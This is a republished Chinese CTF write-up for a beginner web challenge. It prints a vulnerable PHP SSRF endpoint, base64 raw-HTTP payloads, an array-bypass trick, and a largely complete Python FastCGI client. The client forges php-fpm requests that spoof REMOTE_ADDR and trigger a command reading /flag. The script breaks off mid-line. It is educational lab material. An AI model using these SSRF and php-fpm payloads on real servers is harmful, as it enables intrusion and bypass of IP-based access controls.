2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf相关的知识,希望对你有一定的参考价值。

特别鸣谢: lastsward 大佬,

参考自: 官方WP

题目网站:http://114.96.78.89:8000/challenges#2021.6.1%E8%90%8C%E6%96%B0%E8%B5%9B-impossible%20ip-41。主办方,说环境会开到 下一次比赛呢~,大赞!!!

学习WP

考点:

  1. php socket 伪造http请求ssrf
  2. 攻击php-fpm实现伪造ip
<?php
highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
if(preg_match('/usr|auto|log/i' ,$data))
{
    die("error");
}
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp)
{
    die();
}
else
{
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

socket伪造http请求,exp:

这里http请求,只用了 这三部分,

$out = "GET /flag.php HTTP/1.1\\r\\n";
 $out .= "Host: 127.0.0.1\\r\\n"; 
 $out .= "Connection: Close\\r\\n\\r\\n";
  echo base64_encode($out);

payload:

?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

得到:

这里本地去访问,flag.php也是奇怪了,,怎么想到这个的,

<?php
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
	highlight_file(__FILE__);
	$contents = $_POST['data'];
	$file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
	@mkdir($file); # 创建一个沙盒
	# 没有 lastsward 的时候,写入 hint 文件,,数组绕过把,写入,
	if(!preg_match('/lastsward/i', $contents)){
		file_put_contents($file.'/hint.txt', $contents);
	}
	# 匹配到了之后,给 phpinfo
	if(file_get_contents($file.'/hint.txt')==='lastsward'){
		phpinfo();
	}

	die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'||$_SERVER['REMOTE_ADDR']==='120.78.22.121'){
	system('cat /flag');
	die();
}
die('请从本地访问');

我们要将hint.txt中写入lastsward才能够看到phpinfo。但是contents要没有lastsward的时候,才能够写入contents。

在这里插入图片描述

data[]=lastsward数组绕过,注意伪造 http 数据包的格式,可以本地就访问这样一个数据报,post访问flag.php然后看看是什么然后伪造一下。

4部分就够了。

<?php
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

data[]=lastsward

这几部分就按照它的来吧,一个是GET请求的几个部分,一个是POST请求的几个部分

在这里插入图片描述

生成的payload

?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjEKSG9zdDogMTI3LjAuMC4xCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkCkNvbnRlbnQtTGVuZ3RoOiAxNgoKZGF0YVtdPWxhc3Rzd2FyZA==&host=127.0.0.1&port=80

在这里插入图片描述
在这里插入图片描述

一般默认是访问9000端口的。

查看phpinfo可以发现php-fpm 然后ssrf打fpm(9000端口),默认是9000把, 然后就打9000 了。 伪造ip。

将那个二进制数据包,发给那个SSRF 漏洞的Web程序中,也就是那个index.php中的data

应该不是绑定在0.0.0.0,打不通,应该是在127.0.0.1上,

再一次理解php-fpm

1. 就用php-fpm加载flag.php这个预期解来做,

需要我们的 REMOTE_ADDR 是一下两个,但是 这个我们没有办法去伪造,但是 php-fpm 的二进制包中可以弄一弄,php-fpm 的本来就是加载php脚本的

在这里插入图片描述
在这里插入图片描述
下面这个是WP的,这个vps,就是将这个二进制数据包发到我们的vps上,然后端口是我们监听的端口就好了。
我请教过出题人了。其实直接在本地监听端口,获取这个二进制包就行,没必要非要在vps上监听,。

不过这样更是加深了我对 这个脚本的一些理解和认识,至于往vps上发为什么不行,我猜是阿里云给屏蔽了。因为相同的方法,打向本地端口就能够收到。
在这里插入图片描述
php-fpm的作用就是加载脚本的,这个是给那个 flag.php来做的,那么我们要加载的PHP文件夹就要是/var/www/html/flag.php了。然后会自动加载上述配置,这个时候,我们将REMOTE_ADDR,修改成
在这里插入图片描述
这个两个其中一个,然后端口随意。
在这里插入图片描述

一样的gopher打的也是后面的数据部分,就是只是二进制包而已,gopher打的是 GET 传参的,直接url编码的。但是这道题是 base64 加密的。所以直接payload打是不行的。所以我们要把这个二进制数据拿出来,然后base64加密之后,就能够打了。

而且不用用gopher来打,为啥呢,当初用gopher就是为了 SSRF ,比如:gopher://127.0.0.1:9000//_xxxxx这样,

但是这个题的host和port已经给了。我们直接GET传参host=127.0.0.1&port=9000就直接打到了php-fpm 上去了。也就是gopher的功能了。然后后面的data就是gopher后面发送的数据了。

在这里插入图片描述
在这里插入图片描述
对的:之前看到的,我们输入的ip都是靶机的IP,然后port默认是 9000 ,也就是 我们直接将这个二进制

在这里插入图片描述
确定了目的了。那么那些 RCE的东西也可以不要了,当然想要RCE那些也行,我后面也会用那种方法再做一遍,

在这里插入图片描述
然后修改脚本,

脚本贴出出来:(很大部分是借鉴自 lastsward 大佬的,出题大佬lastsward人很好滴~!!!)

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \\
               + bchr(fcgi_type) \\
               + bchr((requestid >> 8) & 0xFF) \\
               + bchr(requestid & 0xFF) \\
               + bchr((length >> 8) & 0xFF) \\
               + bchr(length & 0xFF) \\
               + bchr(0) \\
               + bchr(0) \\
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \\
                      + bchr((nLen >> 16) & 0xFF) \\
                      + bchr((nLen >> 8) & 0xFF) \\
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \\
                      + bchr((vLen >> 16) & 0xFF) \\
                      + bchr((vLen >> 8) & 0xFF) \\
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \\
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
                                 + bchr(self.keepalive) \\
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    #parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    #parser.add_argument('host', help='Target host, such as 127.0.0.1')
    #parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    #parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit(); ?>')
    #parser.add_argument('-p', '--port', help='FastCGI port', default=5555, type=int)

    #args = parser.parse_args()

    client = FastCGIClient("127.0.0.1", 5555, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = "/var/www/html/flag.php"
    content = ''
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': docu

以上是关于2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf的主要内容,如果未能解决你的问题,请参考以下文章

2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化

----已搬运----2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化

CTFshow萌新赛-萌新福利

CTFshow萌新赛-千字文

CTFshow-萌新赛逆向_签退

CTFshow-萌新赛杂项_劝退警告